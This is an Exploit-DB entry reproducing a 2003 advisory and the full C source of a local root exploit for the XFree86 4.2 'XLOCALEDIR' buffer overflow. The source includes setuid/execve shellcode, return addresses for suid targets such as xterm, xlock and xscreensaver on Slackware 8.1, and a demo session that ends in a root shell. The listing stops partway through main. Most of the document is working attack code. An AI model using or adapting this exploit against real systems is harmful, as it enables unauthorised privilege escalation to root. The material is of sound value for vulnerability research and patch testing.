Exploit-DB #22320
Description: XFree86 4.2 - 'XLOCALEDIR' Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 2003-03-03
Author: dcryptr && tarranta

Exploit:
// source: https://www.securityfocus.com/bid/7002/info

Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.

A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.

/**** 
***
** oC-localX.c - XFree86 Version 4.2.x local root exploit
** By dcryptr && tarranta / oC
***  
** Tested against: Slackware 8.1
***
** This bug was found by tarranta and dcryptr 3 january 2003.
** Its a strcpy in the xf86 libraries that we exploit, using
** the bug to get the root privileges. If you put to much data
** in the XLOCALEDIR environment variable all programs using this
** library will cause a segmnetation fault. Some wierd reason makes 
** the program not execute the first 8 bytes of the shellcode.
***
** Demonstration - here we use xlock as the target
** ----------------------------------------------
**  martin@gDeU56:~$ ls -l /usr/X11R6/bin/xlock
**  -rws--x--x    1 root     bin       2193628 May 30  2002 /usr/X11R6/bin/xlock
**  export XLOCALEDIR=`perl -e 'print "A" x 6000'`
**  martin@gDeU56:~$ xlock
**  Segmentation fault
**  eip      0x41414141       0x41414141
**
**  Exploitation:
**   martin@gDeU56:~$ ./oC-XFree86-4.2.0 -t 2
**   --- XFree86 Version 4.2.0 / X Window System - local root exploit ---
**   [+] by: dcryptr && tarranta
**   [+] oC-2003 - http://crionized.net/
**   [+] attacking: /usr/X11R6/bin/xlock
**   [+] using ret: 0xbfffe86d
**   [+] spawning root shell!!!!
**   sh-2.05a# id;uname -a
**   uid=0(root) gid=0(root) groups=100(users)
**   Linux gDeU56 2.4.18 #4 Fri May 31 01:25:31 PDT 2002 i686 unknown
***
** Remember that there is more than one suid file using this lib.
** /usr/X11R6/bin/xterm
** /usr/X11R6/bin/xscreensaver
*** 
** This may be vulnerable in other distros!!!
** We are currently making out new targets. look on our page 
** for the newest version!
***
** (C) COPYRIGHT oC 2003
** All Rights Reserved
*******************************************************************************************************
** GREETS: dgram, lonely_, upstream, evilrip
***
****/

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/errno.h>

#define VERSION "0.9"

/* 57 bytes shellcode by dcryptr */
static char shellcode[] = 
	/* setuid(0); (ignored) */
	"\x31\xdb"				/* xor %ebx,%ebx */
	"\x89\xd8"				/* mov %ebx,%eax */
	"\xb0\x17"				/* mov $0x17,%al */
	"\xcd\x80"				/* int $0x80     */
	
	/* setuid(0); */
	"\x31\xdb"				/* xor %ebx,%ebx */
	"\x89\xd8"				/* mov %ebx,%eax */
	"\xb0\x17"				/* mov $0x17,%al */
	"\xcd\x80"				/* int $0x80     */
	
	/* setgid(0); */
	"\x31\xdb"				/* xor %ebx,%ebx */
	"\x89\xd8"				/* mov %ebx,%eax */
	"\xb0\x2e"				/* mov $0x2e,%al */
	"\xcd\x80"				/* int $0x80     */
	
	/* /bin/sh execve(); */
	"\x31\xc0"				/* xor  %eax,%eax   */
	"\x50"					/* push %eax        */
	"\x68\x2f\x2f\x73\x68"			/* push $0x68732f2f */
	"\x68\x2f\x62\x69\x6e"			/* push $0x6e69622f */
	"\x89\xe3"				/* mov  %esp,%ebx   */
	"\x50"					/* push %eax        */
	"\x53"					/* push %ebx        */
	"\x89\xe1"				/* mov  %esp,%ecx   */
	"\x31\xd2"				/* xor  %edx,%edx   */
	"\xb0\x0b"				/* mov  $0xb,%al    */
	"\xcd\x80"				/* int  $0x80       */
	
	/* exit(0); */
	"\x31\xdb"				/* xor %ebx,%ebx */
	"\x89\xd8"				/* mov %ebx,%eax */
	"\xb0\x01"				/* mov $0x01,%al */
	"\xcd\x80";				/* int $0x80     */

struct target {
    int 		index;
    char 		*distro;
    char 		*dest;
    char 		*name;
    u_long		retaddr;
    int			LEN;
};

/* 
 * There is like 200+ binaries that segfaults to this 
 * vuln but they are not suids. this is all the suids
 * I found. Soundtracker is a music tracker that I am 
 * using and its vuln to.
 */
struct target exploit[] = { 
	{ 1, "Slackware 8.1 -", "/usr/X11R6/bin/xterm", 
	    "xterm", 0xbfffe86d, 6000 },
	
	{ 2, "Slackware 8.1 -", "/usr/X11R6/bin/xlock", 
	    "xlock", 0xbfffe86d, 6000 }, 
	
	{ 3, "Slackware 8.1 -", "/usr/X11R6/bin/xscreensaver", 
	    "xscreensaver", 0xbfffe86e, 6000 },
	    
	{ 0, NULL, NULL, NULL, 0, 0 }
};

void usage(char *cmd);

int main(int argc, char **argv)
{
    int 	i;
    int 	type;
    int		size;
    int 	options;
    long 	retaddr;
    char 	buffer[6000];

    if(argc == 1) {
		usage(argv[0]);
		exit(0);
    }

    /* options of this exploit */
    while((options = getopt(argc, argv, "ht:")) != EOF) {
		switch(options) {
		    case 'h': 
				usage(argv[0]);
				exit(0);
			case 't': 
				type = atoi(optarg);
		    
				if (type > 3 || type < 0) {
				    printf("Out of range!!\n");
				    exit(0);
				}
		    
				if (type == 0) {
					usage(argv[0]);
					printf("num . description\n"
					"----+----------------------------------------\n");			
					for (i = 0; exploit[i].dest; i++)
						fprintf(stderr, "[%d] | %s %s\n", exploit[i].index, exploit[i].distro, exploit[i].dest);
				    
					exit(1);
				}		    
				break;	
			default:
				usage(argv[0]);
				exit(0);
		}
    }	

    size    = exploit[type-1].LEN;
    retaddr = exploit[type-1].retaddr;

    fprintf(stderr, "\n--- oC-localX "VERSION" - XFree86 Version 4.2.0 local root exploit ---\n"
					"[+] by: dcryptr && tarranta\n"
					"[+] oC-2003 - http://crionized.net/\n"
					"[+] attacking: %s\n"
					"[+] using ret: 0x%8lx\n"
					"[+] spawning shell!!!!\n", exploit[type-1].dest, retaddr);

	for (i = 0; i < size; i += 4)
		*(long *)&buffer[i] = retaddr;
	
    memcpy(buffer + 1, shellcode, strlen(shellcode));

    setenv("XLOCALEDIR", buffer, 1);	/* seting env variable */